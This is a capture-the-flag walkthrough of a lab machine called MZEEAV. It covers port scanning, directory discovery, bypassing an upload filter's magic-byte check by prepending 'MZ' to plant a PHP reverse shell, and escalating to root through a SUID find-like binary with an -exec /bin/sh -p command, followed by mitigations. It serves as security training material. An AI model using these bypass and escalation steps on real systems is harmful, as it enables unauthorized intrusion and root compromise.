Post

MZEEAV

MZEEAV

Introduction

In this walkthrough, I began by scanning the target machine and found that ports 22 and 80 were open. Upon visiting port 80, I encountered a web application named MZEE-AV, which simulates antivirus behavior by scanning uploaded files to determine if they’re clean.

Using Gobuster, I discovered a hidden directory named /backups, which contained two files: upload.php and listing.php. By examining the source code of upload.php, I noticed a filter mechanism that attempts to validate uploaded files. I was able to bypass this filter and successfully upload a PHP reverse shell.

After gaining a reverse shell, I continued local enumeration and discovered a SUID binary named fileS. Upon checking its usage via the --help and --version flags, I determined that fileS was an alternative implementation of the find command. I leveraged this to escalate privileges using a known SUID privilege escalation technique applicable to the find binary, ultimately gaining root access.

Nmap

TCP

Run a quick Nmap TCP scan:

1
sudo nmap -sV $IP --open

image.png

UDP

Check top 100 UDP ports:

1
sudo nmap -sU -F $IP

Full Port Scan

1
sudo nmap -sV -sC -p- $IP -Pn -n -v --open

Services

Port 22

  • Version - OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)

We usually skip SSH.

Web

Port 80

  • Version - Apache httpd 2.4.56 ((Debian))
1
searchsploit apache 2.4.56

No public exploits for this version of Apache.

  • Gobuster Scan

    1
    
      gobuster dir -u http://$IP/ -w /usr/share/wordlists/dirb/common.txt -t 42 -x .php
    

    image.png

Exploitation

Going to backups we can download backup.zip file, where we can see upload.php, listing.php. Reading upload.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

/* Get the name of the uploaded file */
$filename = $_FILES['file']['name'];

/* Choose where to save the uploaded file */
$tmp_location = "upload/file.tmp";
$location = "upload/".$filename;

/* Move the file temporary */

move_uploaded_file($_FILES['file']['tmp_name'], $tmp_location);

/* Check MagicBytes MZ PEFILE 4D5A*/
$F=fopen($tmp_location,"r");
$magic=fread($F,2);
fclose($F);
$magicbytes = strtoupper(substr(bin2hex($magic),0,4)); 
error_log(print_r("Magicbytes:" . $magicbytes, TRUE));

/* if its not a PEFILE block it - str_contains onlz php 8*/
//if ( ! (str_contains($magicbytes, '4D5A'))) {
if ( strpos($magicbytes, '4D5A') === false ) {
	echo "Error no valid PEFILE\n";
	error_log(print_r("No valid PEFILE", TRUE));
	error_log(print_r("MagicBytes:" . $magicbytes, TRUE));
	exit ();
}

rename($tmp_location, $location);

?>

It gets the filename, puts it as temporary name to temporary location which is file.tmp . Then it performs check to see if uploaded file is exe file or not. If it is, then file placed under upload directory with its original name, if not it exits with exit() and file is stored in file.tmp.

1
2
3
4
5
$F=fopen($tmp_location,"r");
$magic=fread($F,2);
fclose($F);
$magicbytes = strtoupper(substr(bin2hex($magic),0,4)); 
error_log(print_r("Magicbytes:" . $magicbytes, TRUE));
  • Opens the file
  • Reads 2 bytes ( first 2 characters )
  • Uses bin2hex function of PHP to convert string to hex value and takes first 4 positions of that hex value.
1
2
3
4
5
6
if ( strpos($magicbytes, '4D5A') === false ) {
	echo "Error no valid PEFILE\n";
	error_log(print_r("No valid PEFILE", TRUE));
	error_log(print_r("MagicBytes:" . $magicbytes, TRUE));
	exit ();
}
  • Checks if $magicbytes variable contains string 4D5A

So, as you can guess we need to change the magic bytes of a file in a way that when it takes first 2 characters and converts it to hex it should produce 4D5A. In orde to find that 2 characters let’s do reverse of bin2hex function, let’s convert 4D5A to string. You can do that here:

hex-to-ascii

image.png

That means we should prepend the file with MZ intercepting it with BurpSuite.

image.png

After that we will receive another form of listing where in this case our file is listed not file.tmp.

image.png

I tried uploading both Ivan Sincek and PentestMonkey reverse shell but they failed to open a shell:

image.png

I searched for another one and found this, this worked and I got a shell.

image.png

Using python I made a shell interactive:

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

Privilege Escalation

  • OSCP Checklist
    • Situational awareness
    • Exposed Confidential Information
    • Password Authentication Abuse
    • Hunting Sensitive Information
    • Sudo
    • SUID/SGID
    • Capabilities
    • Cron Jobs Abuse
    • Kernel Exploits
    • Check if sudoers file is writable
    • Try credentials you already obtained for various services admin roles

I found unusual SUID binary:

image.png

We can just execute that file. Executing it we see that it lists files of the current directory.

image.png

As it is a binary, and almost all binaries have --help and --version menu. Let’s check them:

1
./fileS --help

image.png

1
./fileS --version

We see that it is an alternative of find binary.

image.png

Let’s perform then SUID privilege escalation of find binary with this binary using GTFOBins-find

1
./fileS . -exec /bin/sh -p \; -quit

image.png

Now our effective user is root and we are in a root group.

Mitigation

  • Restrict directory access and disable directory listing in production environments.
  • Implement strict server-side file validation for file uploads, including MIME type checks, file signature verification, and limiting allowed file extensions.
  • Store uploaded files outside the web root and rename them to prevent direct execution.
  • Remove unnecessary SUID binaries or audit them carefully to ensure they are not exploitable.
  • Regularly scan for and remove unused or custom binaries with elevated privileges.
  • Monitor file uploads and application logs for anomalous behavior or bypass attempts.
This post is licensed under CC BY 4.0 by the author.